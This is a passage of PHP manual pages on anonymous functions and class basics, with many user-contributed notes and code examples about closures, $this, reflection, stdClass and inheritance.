        $prefl = $this->_refl->getProperty($name);
        $prefl->setAccessible(true);
        $prefl->setValue($this->_self, $value);
    }

    public function __get($name)
    {
        $prefl = $this->_refl->getProperty($name);
        $prefl->setAccessible(true);
        return $prefl->getValue($this->_self);
    }

    public function __isset($name)
    {
        $value = $this->__get($name);
        return isset($value);
    }
}

/**
 * Usage:
 * $self = giveAccess($this);
 * function() use ($self) { $self->privateMember... }
 */
function giveAccess($obj)
{
    return new FullAccessWrapper($obj);
}

// Example:

class Foo
{
    private $x = 3;
    private function f()
    {
        return 15;
    }

    public function getClosureUsingPrivates()
    {
        $self = giveAccess($this);
        return function () use ($self) {
            return $self->x * $self->f();
        };
    }
}

$foo = new Foo();
$closure = $foo->getClosureUsingPrivates();
echo $closure() . "\n"; // Prints 45 as expected
?>
kdelux at gmail dot com 15-May-2010 05:55
Here is an example of one way to define, then use the variable ( $this ) in Closure functions.  The code below explores all uses, and shows restrictions.

The most useful tool in this snippet is the requesting_class() function that will tell you which class is responsible for executing the current Closure().

Overview:
-----------------------
Successfully find calling object reference.
Successfully call $this(__invoke);
Successfully reference $$this->name;
Successfully call call_user_func(array($this, 'method'))

Failure: reference anything through $this->
Failure: $this->name = '';
Failure: $this->delfect();

<?php

    function requesting_class()
    {
        foreach(debug_backtrace(true) as $stack){
            if(isset($stack['object'])){
                return $stack['object'];
            }
        }

    }

    class Person
    {
        public $name = '';
        public $head = true;
        public $feet = true;
        public $deflected = false;

        function __invoke($p){ return $this->$p; }
        function __toString(){ return 'this'; } // test for reference

        function __construct($name){ $this->name = $name; }
        function deflect(){ $this->deflected = true; }

        public function shoot()
        { // If customAttack is defined, use that as the shoot resut.  Otherwise shoot feet
            if(is_callable($this->customAttack)){
                return call_user_func($this->customAttack);
            }

            $this->feet = false;
        }
    }

    $p = new Person('Bob');

    $p->customAttack =
                function(){

                    echo $this; // Notice: Undefined variable: this

                    #$this = new Class() // FATAL ERROR

                    // Trick to assign the variable '$this'
                    extract(array('this' => requesting_class())); // Determine what class is responsible for making the call to Closure

                    var_dump( $this  );  // Passive reference works
                    var_dump( $$this ); // Added to class:  function __toString(){ return 'this'; }

                    $name = $this('name'); // Success
                    echo $name;            // Outputs: Bob
                    echo '<br />';
                    echo $$this->name;

                    call_user_func_array(array($this, 'deflect'), array()); // SUCCESSFULLY CALLED

                    #$this->head = 0; //** FATAL ERROR: Using $this when not in object context
                    $$this->head = 0;  // Successfully sets value

                };

    print_r($p);

    $p->shoot();

    print_r($p);

    die();

?>
Hayley Watson 13-Apr-2010 03:53
In the code

<?php
function new_counter()
{
    $counter = mt_rand();
    return function()use(&$counter)
    {
        return ++$counter;
    };
}

$t1 = new_counter();
$t2 = new_counter();

echo $t1(),"\n";
echo $t1(),"\n";
echo $t2(),"\n";
echo $t2(),"\n";
echo $t1(),"\n";
echo $t1(),"\n";
?>

The variable $counter is local to new_counter() and is used by reference by the returned lambda function.

Because $counter is not static, a new variable is created each time new_counter() is called.

But because the lambda function uses a REFERENCE to the $counter variable - and not a new local variable with a copy of the value $counter had when the lambda function was constructed - the $counter variable created when new_counter() ran still exists (because a reference to it still exists).

Every lambda function has a variable reference "hardwired" into it. That variable therefore persists across calls to the lambda function - rather like a static variable.

But that variable is only LOCAL to the new_counter() function that created it. As soon as new_counter() returns, it gives up its reference to $counter. When new_counter() is called again, it gets allocated a NEW $counter variable and gives a reference to THAT variable to the lambda function it constructs.

So the lambda functions in $t1 and $t2 each have their OWN $counter variable - separate from the other's, which persists from one call to the next.

The effect is very similar to declaring and initialising $counter as static within the lambda function - and then it doesn't need to use anything from new_counter() - but you can't initialise a static variable with a function call like mt_rand()!

Pending a decision on what it should mean, $this is not currently (as of 5.3.2) usable within anonymous functions.

There are roughly two positions (plus attempts at compromise), that can be called "early" and "late".

Early: $this refers to the object in whose scope the anonymous function is constructed.
<?php
class Creator
{
   public function make_anonymous()
   {
       return function()
       {
           return $this;
       };
   }
}

class Caller
{
   public $p;
   public function call_anonymous($f)
   {
       $this->p = $f();
   }
}

$alpha = new Creator;
$omega = new Caller;
$omega->call_anonymous($alpha->create_anonymous());
// $omega->p === $alpha
?>

Late: $this refers to the object in whose scope the anonymous function is called.

<?php
class Creator
{
   public function make_anonymous()
   {
       return function()
       {
           return $this;
       };
   }
}

class Caller
{
   public $p;
   public function call_anonymous($f)
   {
       $this->p = $f();
   }
}

$alpha = new Creator;
$omega = new Caller;
$omega->call_anonymous($alpha->create_anonymous());
// $omega->p === $omega
?>

So until this is cleared up, $this won't work in an anonymous function. (Personally, I favour the early method; otherwise the anonymous function - and therefore its Creator - has access to all of the Caller's private properties.)
housni dot yakoob at gmail dot com 14-Mar-2010 06:22
If you want to make sure that one of the parameters of your function is a Closure, you can use Type Hinting.
see: http://php.net/manual/en/language.oop5.typehinting.php

Example:
<?php

class TheRoot
{
    public function poidh($param) {
        echo "TheRoot $param!";
    }

}

class Internet
{
    # here, $my_closure must be of type object Closure
    public function run_my_closure($bar, Closure $my_closure) {
        $my_closure($bar);
    }
}

$Internet = new Internet();
$Root = new TheRoot();

$Internet->run_my_closure($Root, function($Object) {
    $Object->poidh(42);
});

?>
The above code simply yields:
"TheRoot 42!"

NOTE: If you are using namespaces, make sure you give a fully qualified namespace.

print_r() of Internet::run_my_closure's $my_closure
<?php
Closure Object
(
    [parameter] => Array
        (
            [$Object] =>
        )

)
?>

var_dump() of Internet::run_my_closure's $my_closure
<?php
object(Closure)#3 (1) {
  ["parameter"]=>
  array(1) {
    ["$Object"]=>
    string(10) ""
  }
}
?>
aaron at afloorabove dot com 05-Mar-2010 11:42
Anonymous functions are great for events!

<?php

class Event {

  public static $events = array();

  public static function bind($event, $callback, $obj = null) {
    if (!self::$events[$event]) {
      self::$events[$event] = array();
    }

    self::$events[$event][] = ($obj === null)  ? $callback : array($obj, $callback);
  }

  public static function run($event) {
    if (!self::$events[$event]) return;

    foreach (self::$events[$event] as $callback) {
      if (call_user_func($callback) === false) break;
    }
  }

}

function hello() {
  echo "Hello from function hello()\n";
}

class Foo {
  function hello() {
    echo "Hello from foo->hello()\n";
  }
}

class Bar {
  function hello() {
    echo "Hello from Bar::hello()\n";
  }
}

$foo = new Foo();

// bind a global function to the 'test' event
Event::bind("test", "hello");

// bind an anonymous function
Event::bind("test", function() { echo "Hello from anonymous function\n"; });

// bind an class function on an instance
Event::bind("test", "hello", $foo);

// bind a static class function
Event::bind("test", "Bar::hello");

Event::run("test");

/* Output
Hello from function hello()
Hello from anonymous function
Hello from foo->hello()
Hello from Bar::hello()
*/

?>
ljackson at jjcons dot com 22-Feb-2010 07:46
appears kwilson at shuttlebox dot net that you may have just made unintended side effect. Note that adding the global $variable to your test function make the closure function echo second rather than first So the anonymous function works as expected with respect to globals.

<?php
    $variable = "first";

    $closure = function() {
        global $variable;

        echo $variable . "\n";
    };

    $closure();

    function test($closure)
    {
        global $variable; //Note the scope added here
        $variable = "second";

        $closure();
    }

    test($closure);
?>

prints:
first
second

tested with php 5.3.1
kwilson at shuttlebox dot net 21-Jan-2010 04:24
Using the global keyword apparently pulls variables from the scope where the function was created, not where it is executed.

Example:

<?php
    $variable = "first";

    $closure = function() {
        global $variable;

        echo $variable . "\n";
    };

    $closure();

    function test($closure)
    {
        $variable = "second";

        $closure();
    }

    test($closure);
?>

Will print:

first
first
puskulcu at gmail dot com 14-Dec-2009 09:46
hello there!
here is a little code which shows use of the closures as event handlers:

<?php

  class Button
  {
    public $OnBeforeClick;
    public $OnAfterClick;
    public $Name;

    function Button()
    {
      $this->Name = 'MyButton';
    }

    public function Click()
    {
      $this->DoBeforeClick();

      echo 'Click!';

      $this->DoAfterClick();
    }

    private function DoBeforeClick()
    {
      if (isset($this->OnBeforeClick))
      {
        $Event = $this->OnBeforeClick;
        $Event($this);
      }
    }

    private function DoAfterClick()
    {
      if (isset($this->OnAfterClick))
      {
        $Event = $this->OnAfterClick;
        $Event($this);
      }
    }
  }

  //eclipse may warn here about syntax error but no problem, it runs well.
  $BeforeClickEventHandler = function($Sender) { echo $Sender->Name . ' (Before Click)'; };
  $AfterClickEventHandler = function($Sender) { echo $Sender->Name . ' (After Click)'; };

  $MyWidget = new Button();
  $MyWidget->OnBeforeClick = $BeforeClickEventHandler;
  $MyWidget->OnAfterClick = $AfterClickEventHandler;
  $MyWidget->Click();

?>

output:
MyButton (Before Click)
Click!
MyButton (After Click)

i hope you find this useful.
regards.
emre
rob at ubrio dot us 25-Nov-2009 07:20
You can always call protected members using the __call() method - similar to how you hack around this in Ruby using send.

<?php

class Fun
{
 protected function debug($message)
 {
   echo "DEBUG: $message\n";
 }

 public function yield_something($callback)
 {
   return $callback("Soemthing!!");
 }

 public function having_fun()
 {
   $self =& $this;
   return $this->yield_something(function($data) use (&$self)
   {
     $self->debug("Doing stuff to the data");
     // do something with $data
     $self->debug("Finished doing stuff with the data.");
   });
 }

 // Ah-Ha!
 public function __call($method, $args = array())
 {
   if(is_callable(array($this, $method)))
     return call_user_func_array(array($this, $method), $args);
 }
}

$fun = new Fun();
echo $fun->having_fun();

?>
mike at blueroot dot co dot uk 28-Oct-2009 05:40
To recursively call a closure, use this code.

<?php
$recursive = function () use (&$recursive){
    // The function is now available as $recursive
}
?>

This DOES NOT WORK

<?php
$recursive = function () use ($recursive){
    // The function is now available as $recursive
}
?>
kukoman at pobox dot sk 13-Oct-2009 02:22
be aware of  Fatal error: Using $this when not in object context when using in closures

http://wiki.php.net/rfc/closures/removal-of-this
gerard at visei dot nl 07-Oct-2009 04:41
The text above the third example tries to explain that anonymous functions can inherit variables from the parent scope, but fails to properly explain how this is done: namely using the "use" keyword in the function definition.

The following page has a much more detailed explanation of closures in PHP 5.3:
http://wiki.php.net/rfc/closures
dave at mausner dot us 10-Aug-2009 11:34
Ulderico had it almost right.  To avoid confusing the interpreter, when using a simple closure stored in a $variable, you must invoke the nameless function using the function syntax.

<?php
$helloworld = function(){
    return "each hello world is different... ".date("His");
};

echo $helloworld( );
?>

Note the empty actual-parameter list in the "echo".  NOW IT WORKS.
Anonymous 03-Aug-2009 11:50
If you want to check whether you're dealing with a closure specifically and not a string or array callback you can do this:

<?php
$isAClosure = is_callable($thing) && is_object($thing);
?>
mcm dot matt at gmail dot com 30-Jun-2009 02:49
Example using uasort.

<?php
// Usual method.
function cmp($a, $b) {
    return($a > $b);
}
uasort($array, 'cmp');

// New
uasort($array, function($a, $b) {
    return($a > $b);
});
?>
a dot schaffhirt at sedna-soft dot de 19-Jun-2009 11:55
When using anonymous functions as properties in Classes, note that there are three name scopes: one for constants, one for properties and one for methods. That means, you can use the same name for a constant, for a property and for a method at a time.

Since a property can be also an anonymous function as of PHP 5.3.0, an oddity arises when they share the same name, not meaning that there would be any conflict.

Consider the following example:

<?php
    class MyClass {
        const member = 1;

        public $member;

        public function member () {
            return "method 'member'";
        }

        public function __construct () {
            $this->member = function () {
                return "anonymous function 'member'";
            };
        }
    }

    header("Content-Type: text/plain");

    $myObj = new MyClass();

    var_dump(MyClass::member);  // int(1)
    var_dump($myObj->member);   // object(Closure)#2 (0) {}
    var_dump($myObj->member()); // string(15) "method 'member'"
    $myMember = $myObj->member;
    var_dump($myMember());      // string(27) "anonymous function 'member'"
?>

That means, regular method invocations work like expected and like before. The anonymous function instead, must be retrieved into a variable first (just like a property) and can only then be invoked.

Best regards,


Classes and Objects

Table of Contents

  • Introduction
  • The Basics
  • Properties
  • Class Constants
  • Autoloading Classes
  • Constructors and Destructors
  • Visibility
  • Object Inheritance
  • Scope Resolution Operator (::)
  • Static Keyword
  • Class Abstraction
  • Object Interfaces
  • Traits
  • Overloading
  • Object Iteration
  • Magic Methods
  • Final Keyword
  • Object Cloning
  • Comparing Objects
  • Type Hinting
  • Late Static Bindings
  • Objects and references
  • Object Serialization
  • OOP Changelog

User Contributed Notes

Ashley Dambra 21-Feb-2014 03:50
Here a simple class 'stdObject' that give us the possibility to create dynamic classes and the possibility to add and execute methods thing that 'stdClass' don't let us do.  Very useful if you extends it to a controller on MVC Design pattern. Let users create own classes.

I have also post this class on http://www.php.net/manual/en/language.types.object.php

<?php
class stdObject {
    public function __construct(array $arguments = array()) {
        if (!empty($arguments)) {
            foreach ($arguments as $property => $argument) {
                $this->{$property} = $argument;
            }
        }
    }

    public function __call($method, $arguments) {
        $arguments = array_merge(array("stdObject" => $this), $arguments); // Note: method argument 0 will always referred to the main class ($this).
        if (isset($this->{$method}) && is_callable($this->{$method})) {
            return call_user_func_array($this->{$method}, $arguments);
        } else {
            throw new Exception("Fatal error: Call to undefined method stdObject::{$method}()");
        }
    }
}

// Usage.

$obj = new stdObject();
$obj->name = "Nick";
$obj->surname = "Doe";
$obj->age = 20;
$obj->adresse = null;

$obj->getInfo = function($stdObject) { // $stdObject referred to this object (stdObject).
    echo $stdObject->name . " " . $stdObject->surname . " have " . $stdObject->age . " yrs old. And live in " . $stdObject->adresse;
};

$func = "setAge";
$obj->{$func} = function($stdObject, $age) { // $age is the first parameter passed when calling this method.
    $stdObject->age = $age;
};

$obj->setAge(24); // Parameter value 24 is passing to the $age argument in method 'setAge()'.

// Create dynamic method. Here i'm generating getter and setter dynimically
// Beware: Method name are case sensitive.
foreach ($obj as $func_name => $value) {
    if (!$value instanceOf Closure) {

        $obj->{"set" . ucfirst($func_name)} = function($stdObject, $value) use ($func_name) {  // Note: you can also use keyword 'use' to bind parent variables.
            $stdObject->{$func_name} = $value;
        };

        $obj->{"get" . ucfirst($func_name)} = function($stdObject) use ($func_name) {  // Note: you can also use keyword 'use' to bind parent variables.
            return $stdObject->{$func_name};
        };

    }
}

$obj->setName("John");
$obj->setAdresse("Boston");

$obj->getInfo();
?>
dances_with_peons at live dot com 18-Jan-2011 11:36
As of PHP 5.3, $className::funcName() works fine.

<?php

  class test
  {
    public static function run() { print "Works\n"; }
  }

  $className = 'test';
  $className::run();

?>

on my system, prints "Works".  May work with earlier versions of PHP as well.  Even if it doesn't, there's always

<?php

  $className = 'test';
  call_user_func(array($className, 'run'));

?>

The point is, there's no need for eval.
corpus-deus at softhome dot net 26-Nov-2010 05:27
With regards to Singleton patterns (and variable class names) - try:

<?php
class MyClass {

  // singleton instance
  private static $instance;

  // private constructor function
  // to prevent external instantiation
  private __construct() { }

  // getInstance method
  public static function getInstance() {

    if(!self::$instance) {
      self::$instance = new self();
    }

    return self::$instance;

  }

  //...

}
?>
midir 02-Mar-2009 04:40
There are a couple of tricks you can do with PHP's classes that programmers from C++, etc., will find very peculiar, but which can be useful.

You can create instances of classes without knowing the class name in advance, when it's in a variable:

<?php

$type = 'cc';
$obj = new $type; // outputs "hi!"

class cc {
    function __construct() {
        echo 'hi!';
    }
}

?>

You can also conditionally define them by wrapping them in if/else blocks etc, like so:

<?php

if (expr) {
    class cc {
        // version 1
    }
} else {
    class cc {
        // version 2
    }
}

?>

It makes up for PHP's lack of preprocessor directives. The caveat is that the if/else code body must have been executed before you can use the class, so you need to pay attention to the order of the code, and not use things before they're defined.
redrik at gmail dot com 31-Dec-2008 10:08
Maybe someone will find these classes, which simulate enumeration, useful.
<?php
class Enum {
    protected $self = array();
    public function __construct( /*...*/ ) {
        $args = func_get_args();
        for( $i=0, $n=count($args); $i<$n; $i++ )
            $this->add($args[$i]);
    }

    public function __get( /*string*/ $name = null ) {
        return $this->self[$name];
    }

    public function add( /*string*/ $name = null, /*int*/ $enum = null ) {
        if( isset($enum) )
            $this->self[$name] = $enum;
        else
            $this->self[$name] = end($this->self) + 1;
    }
}

class DefinedEnum extends Enum {
    public function __construct( /*array*/ $itms ) {
        foreach( $itms as $name => $enum )
            $this->add($name, $enum);
    }
}

class FlagsEnum extends Enum {
    public function __construct( /*...*/ ) {
        $args = func_get_args();
        for( $i=0, $n=count($args), $f=0x1; $i<$n; $i++, $f *= 0x2 )
            $this->add($args[$i], $f);
    }
}
?>
Example usage:
<?php
$eFruits = new Enum("APPLE", "ORANGE", "PEACH");
echo $eFruits->APPLE . ",";
echo $eFruits->ORANGE . ",";
echo $eFruits->PEACH . "\n";

$eBeers = new DefinedEnum("GUINESS" => 25, "MIRROR_POND" => 49);
echo $eBeers->GUINESS . ",";
echo $eBeers->MIRROR_POND . "\n";

$eFlags = new FlagsEnum("HAS_ADMIN", "HAS_SUPER", "HAS_POWER", "HAS_GUEST");
echo $eFlags->HAS_ADMIN . ",";
echo $eFlags->HAS_SUPER . ",";
echo $eFlags->HAS_POWER . ",";
echo $eFlags->HAS_GUEST . "\n";
?>
Will output:
1, 2, 3
25, 49
1,2,4,8 (or 1, 10, 100, 1000 in binary)
Jason 08-Jul-2008 07:34
For real quick and dirty one-liner anonymous objects, just cast an associative array:

<?php

$obj = (object) array('foo' => 'bar', 'property' => 'value');

echo $obj->foo; // prints 'bar'
echo $obj->property; // prints 'value'

?>

... no need to create a new class or function to accomplish it.
farzan at ifarzan dot com 06-Oct-2004 01:04
PHP 5 is very very flexible in accessing member variables and member functions. These access methods maybe look unusual and unnecessary at first glance; but they are very useful sometimes; specially when you work with SimpleXML classes and objects. I have posted a similar comment in SimpleXML function reference section, but this one is more comprehensive.

I use the following class as reference for all examples:

<?php
class Foo {
    public $aMemberVar = 'aMemberVar Member Variable';
    public $aFuncName = 'aMemberFunc';

    function aMemberFunc() {
        print 'Inside `aMemberFunc()`';
    }
}

$foo = new Foo;
?>

You can access member variables in an object using another variable as name:

<?php
$element = 'aMemberVar';
print $foo->$element; // prints "aMemberVar Member Variable"
?>

or use functions:

<?php
function getVarName()
{ return 'aMemberVar'; }

print $foo->{getVarName()}; // prints "aMemberVar Member Variable"
?>

Important Note: You must surround function name with { and } or PHP would think you are calling a member function of object "foo".

you can use a constant or literal as well:

<?php
define(MY_CONSTANT, 'aMemberVar');
print $foo->{MY_CONSTANT}; // Prints "aMemberVar Member Variable"
print $foo->{'aMemberVar'}; // Prints "aMemberVar Member Variable"
?>

You can use members of other objects as well:

<?php
print $foo->{$otherObj->var};
print $foo->{$otherObj->func()};
?>

You can use mathods above to access member functions as well:

<?php
print $foo->{'aMemberFunc'}(); // Prints "Inside `aMemberFunc()`"
print $foo->{$foo->aFuncName}(); // Prints "Inside `aMemberFunc()`"
?>


Introduction

Starting with PHP 5, the object model was rewritten to allow for better performance and more features. This was a major change from PHP 4. PHP 5 has a full object model.

Among the features in PHP 5 are the inclusions of visibility, abstract and final classes and methods, additional magic methods, interfaces, cloning and typehinting.

PHP treats objects in the same way as references or handles, meaning that each variable contains an object reference rather than a copy of the entire object. See Objects and References

Tip

See also the Userland Naming Guide.

User Contributed Notes

richard at racecom dot co dot uk 11-Feb-2014 09:17
But sometimes its better to think like an electronic digital device rather than a real world equivalent and program using the best logic for performance as well as simplicity. Objects and Classes are usually best, but not always.
Rahul G 11-Jan-2014 04:48
Object and  classes in php5 is the most powerful and efficient way to organize your code logically, easier to update and understand. it's based on the real world examples.


The Basics

class

Basic class definitions begin with the keyword class, followed by a class name, followed by a pair of curly braces which enclose the definitions of the properties and methods belonging to the class.

The class name can be any valid label, provided it is not a PHP reserved word. A valid class name starts with a letter or underscore, followed by any number of letters, numbers, or underscores. As a regular expression, it would be expressed thus: ^[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*$.

A class may contain its own constants, variables (called "properties"), and functions (called "methods").

Example #1 Simple Class definition

<?php
class SimpleClass
{
    // property declaration
    public $var = 'a default value';

    // method declaration
    public function displayVar() {
        echo $this->var;
    }
}
?>

The pseudo-variable $this is available when a method is called from within an object context. $this is a reference to the calling object (usually the object to which the method belongs, but possibly another object, if the method is called statically from the context of a secondary object).

Example #2 Some examples of the $this pseudo-variable

<?php
class A
{
    function foo()
    {
        if (isset($this)) {
            echo '$this is defined (';
            echo get_class($this);
            echo ")\n";
        } else {
            echo "\$this is not defined.\n";
        }
    }
}

class B
{
    function bar()
    {
        // Note: the next line will issue a warning if E_STRICT is enabled.
        A::foo();
    }
}

$a = new A();
$a->foo();

// Note: the next line will issue a warning if E_STRICT is enabled.
A::foo();
$b = new B();
$b->bar();

// Note: the next line will issue a warning if E_STRICT is enabled.
B::bar();
?>

The above example will output:

$this is defined (A)
$this is not defined.
$this is defined (B)
$this is not defined.

new

To create an instance of a class, the new keyword must be used. An object will always be created unless the object has a constructor defined that throws an exception on error. Classes should be defined before instantiation (and in some cases this is a requirement).

If a string containing the name of a class is used with new, a new instance of that class will be created. If the class is in a namespace, its fully qualified name must be used when doing this.

Example #3 Creating an instance

<?php
$instance = new SimpleClass();

// This can also be done with a variable:
$className = 'Foo';
$instance = new $className(); // Foo()
?>

In the class context, it is possible to create a new object by new self and new parent.

When assigning an already created instance of a class to a new variable, the new variable will access the same instance as the object that was assigned. This behaviour is the same when passing instances to a function. A copy of an already created object can be made by cloning it.

Example #4 Object Assignment

<?php

$instance = new SimpleClass();

$assigned   =  $instance;
$reference  =& $instance;

$instance->var = '$assigned will have this value';

$instance = null; // $instance and $reference become null

var_dump($instance);
var_dump($reference);
var_dump($assigned);
?>

The above example will output:

NULL
NULL
object(SimpleClass)#1 (1) {
   ["var"]=>
     string(30) "$assigned will have this value"
}

PHP 5.3.0 introduced a couple of new ways to create instances of an object:

Example #5 Creating new objects

<?php
class Test
{
    static public function getNew()
    {
        return new static;
    }
}

class Child extends Test
{}

$obj1 = new Test();
$obj2 = new $obj1;
var_dump($obj1 !== $obj2);

$obj3 = Test::getNew();
var_dump($obj3 instanceof Test);

$obj4 = Child::getNew();
var_dump($obj4 instanceof Child);
?>

The above example will output:

bool(true)
bool(true)
bool(true)

extends

A class can inherit the methods and properties of another class by using the keyword extends in the class declaration. It is not possible to extend multiple classes; a class can only inherit from one base class.

The inherited methods and properties can be overridden by redeclaring them with the same name defined in the parent class. However, if the parent class has defined a method as final, that method may not be overridden. It is possible to access the overridden methods or static properties by referencing them with parent::.

When overriding methods, the parameter signature should remain the same or PHP will generate an E_STRICT level error. This does not apply to the constructor, which allows overriding with different parameters.

Example #6 Simple Class Inheritance

<?php
class ExtendClass extends SimpleClass
{
    // Redefine the parent method
    function displayVar()
    {
        echo "Extending class\n";
        parent::displayVar();
    }
}

$extended = new ExtendClass();
$extended->displayVar();
?>

The above example will output:

Extending class
a default value

::class

Since PHP 5.5, the class keyword is also used for class name resolution. You can get a string containing the fully qualified name of the ClassName class by using ClassName::class. This is particularly useful with namespaced classes.

Example #7 Class name resolution

<?php
namespace NS {
    class ClassName {
    }

    echo ClassName::class;
}
?>

The above example will output:

NS\ClassName

User Contributed Notes

sklemnov at gmail dot com 17-Dec-2013 09:44
Small subtlety to anyone just starting out: using $this is for referencing an instance of the current class (there are exceptions to this, but on the basic level it is mostly true; please do not downvote this, it's not meant to be a PhD dissertation).

For instance,

class TestClass{
  private $variable = "Hello";
  function ReturnVar(){
    return $this->variable;
  }
  function SetVar($input){
    $this->variable = $input;
  }
}
$t = new TestClass();
echo $t->ReturnVar();
$t->SetVar("Test");
echo $t->ReturnVar();

This is a useless piece of code that illustrates $this in functions.

echo $t->ReturnVar();

outputs "Hello", and then:

$t->SetVar("Test");

sets the object $t's copy of $variable to "Test". Finally,

echo $t->ReturnVar();

returns the new value of $t's copy of $variable, namely "Test".

using $this in the ReturnVar() function tells PHP that you want to return $t's copy of $variable.

Suppose we took $this out of the above code:

class TestClass{
  private $variable = "Hello";
  function ReturnVar(){
    return $variable;
  }
  function SetVar($input){
    $variable= $input;
  }
}
$t = new TestClass();
echo $t->ReturnVar();
$t->SetVar("Test");
echo $t->ReturnVar();

Would show nothing at all! PHP would not know that you meant to reference object $t's version of $variable.
php at kingsquare dot nl 24-May-2013 03:34
Just to be clear: the correct way of validating a classname, as stated in the docs is:

$valid = preg_match('/^[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*$/', $className);

(thanks to salathe@php.net & aharvey@php.net for clearing me up!)
Manish Gupta 23-Oct-2011 07:07
Some thing that may be obvious to the seasoned PHP programmer, but may surprise someone coming over from C++:

<?php
class Foo
{
$bar = 'Hi There';

public function Print(){
    echo $bar;
}
}
?>

Gives an error saying Print used undefined variable. One has to explicitly use (notice the use of <?php $this->bar ?>):

<?php
class Foo
{
$bar = 'Hi There';

public function Print(){
    echo this->$bar;
}
}
?>

 <?php echo $this->bar; ?> refers to the class member, while using $bar means using an uninitialized variable in the local context of the member function.
Marcus 05-Feb-2011 08:00
Here's another simple example.

<?php
// PHP 5

// class definition
class Bear {
    // define properties
    public $name;
    public $weight;
    public $age;
    public $sex;
    public $colour;

    // constructor
    public function __construct() {
        $this->age = 0;
        $this->weight = 100;
    }

    // define methods
    public function eat($units) {
        echo $this->name." is eating ".$units." units of food... ";
        $this->weight += $units;
    }

    public function run() {
        echo $this->name." is running... ";
    }

    public function kill() {
        echo $this->name." is killing prey... ";
    }

    public function sleep() {
        echo $this->name." is sleeping... ";
    }
}

// extended class definition
class PolarBear extends Bear {

    // constructor
    public function __construct() {
        parent::__construct();
        $this->colour = "white";
        $this->weight = 600;
    }

    // define methods
    public function swim() {
        echo $this->name." is swimming... ";
    }
}

?>
Doug 07-Oct-2010 04:29
What is the difference between  $this  and  self ?

Inside a class definition, $this refers to the current object, while  self  refers to the current class.

It is necessary to refer to a class element using  self ,
and refer to an object element using  $this .
Note also how an object variable must be preceded by a keyword in its definition.

The following example illustrates a few cases:

<?php
class Classy {

const       STAT = 'S' ; // no dollar sign for constants (they are always static)
static     $stat = 'Static' ;
public     $publ = 'Public' ;
private    $priv = 'Private' ;
protected  $prot = 'Protected' ;

function __construct( ){  }

public function showMe( ){
    print '<br> self::STAT: '  .  self::STAT ; // refer to a (static) constant like this
    print '<br> self::$stat: ' . self::$stat ; // static variable
    print '<br>$this->stat: '  . $this->stat ; // legal, but not what you might think: empty result
    print '<br>$this->publ: '  . $this->publ ; // refer to an object variable like this
    print '<br>' ;
}
}
$me = new Classy( ) ;
$me->showMe( ) ;

/* Produces this output:
self::STAT: S
self::$stat: Static
$this->stat:
$this->publ: Public
*/
?>
ben dot corne at gmail dot com 26-Apr-2010 09:35
method calling context aware. By this I mean it will get treated differently while being in a new statement compared to being in a regular call.

Example:
<?php
class Foo {
  private $className = 'Bar';

  public function make() {
    return new $this->className();
  }

  public function callClassName() {
   $this->className();
  }

  public function className() {
    echo "foo\n";
  }

};

class Bar {
  public function hello() {
    echo "bar\n";
  }
};

$foo = new Foo();
$bar = $foo->make();

echo "expecting 'bar': ";
$bar->hello();

echo "expecting 'foo': ";
$foo->callClassName();
?>

even tough $this->className() is written two times in exactly the same way, the one contained in a new statement gets the className field and the other performs the actual method.
moty66 at gmail dot com 16-Aug-2009 04:59
I hope that this will help to understand how to work with static variables inside a class

<?php

class a {

    public static $foo = 'I am foo';
    public $bar = 'I am bar';

    public static function getFoo() { echo self::$foo;    }
    public static function setFoo() { self::$foo = 'I am a new foo'; }
    public function getBar() { echo $this->bar;    }
}

$ob = new a();
a::getFoo();     // output: I am foo
$ob->getFoo();    // output: I am foo
//a::getBar();     // fatal error: using $this not in object context
$ob->getBar();    // output: I am bar
                // If you keep $bar non static this will work
                // but if bar was static, then var_dump($this->bar) will output null

// unset($ob);
a::setFoo();    // The same effect as if you called $ob->setFoo(); because $foo is static
$ob = new a();     // This will have no effects on $foo
$ob->getFoo();    // output: I am a new foo

?>

Regards
Motaz Abuthiab
alex c 07-Aug-2009 09:17
ok this really basic but I always forget this. I always get an error like:

Fatal error: Call to a member function on a non-object

when i deal with oops

if it were me finding the error i'd search the internet for hours and then it would occur to me, I'm putting my class operator inside a function, but i would define the class in global file.

so like this:
test.php
<?
include(class.php);
$class = new newclassname;

function function1(){
  $class->dofunc();
}
?>

you'll get some die errors and try and do this with function1,

function function1(){
  newclassname::dofunc();
}

but if you're using $this inside your class then you'll get another error on non object

so basically, all you need to do is:

function function1(){
  $class = new newclassname;
  $class->dofunc();
}

or

function function1(){
  global $class;
  $class->dofunc();
}

i know it's simple, but it always gets me!
the_french_cow at hotmail dot com 14-Jul-2009 03:54
For those of us who are new to inheritance, private functions are not visible in an inherited class. Consider:

<?php
    class A {
        protected function func1() {
            echo("I'm func1 in A!<br/>");
        }

        private function func2() {
            echo("I'm func2 in A!<br/>");
        }
    }

    class B extends A {
        public function func3() {
            echo("I'm func3 in B!<br/>");
            $this->func1();
            $this->func2();  // Call to private function from extended class results in a fatal error
        }
    }

    $b = new B;
    $b->func3();  // Ends in a fatal error

// OR

    $b->func1();  // Call to protected function from outside world results in a fatal error
?>

If you want a function to be accessible in class B but not to the outside world, it must be declared as protected.
Notes on stdClass 10-Jul-2009 12:26
stdClass is the default PHP object. stdClass has no properties, methods or parent. It does not support magic methods, and implements no interfaces.

When you cast a scalar or array as Object, you get an instance of stdClass. You can use stdClass whenever you need a generic object instance.
<?php
// ways of creating stdClass instances
$x = new stdClass;
$y = (object) null;        // same as above
$z = (object) 'a';         // creates property 'scalar' = 'a'
$a = (object) array('property1' => 1, 'property2' => 'b');
?>

stdClass is NOT a base class! PHP classes do not automatically inherit from any class. All classes are standalone, unless they explicitly extend another class. PHP differs from many object-oriented languages in this respect.
<?php
// CTest does not derive from stdClass
class CTest {
    public $property1;
}
$t = new CTest;
var_dump($t instanceof stdClass);            // false
var_dump(is_subclass_of($t, 'stdClass'));    // false
echo get_class($t) . "\n";                   // 'CTest'
echo get_parent_class($t) . "\n";            // false (no parent)
?>

You cannot define a class named 'stdClass' in your code. That name is already used by the system. You can define a class named 'Object'.

You could define a class that extends stdClass, but you would get no benefit, as stdClass does nothing.

(tested on PHP 5.2.8)
ialsoagree 24-Apr-2009 05:03
Unfortunately, Arpit's solution creates a new class and leaves the old class inaccessible. If you need access to members of the class you are in you'll be unable to get such access. This can be a huge problem.

However, there is a solution:

<?php
class MyClass {
   public $message = 'Hello';

   public function MyClassFunction() {
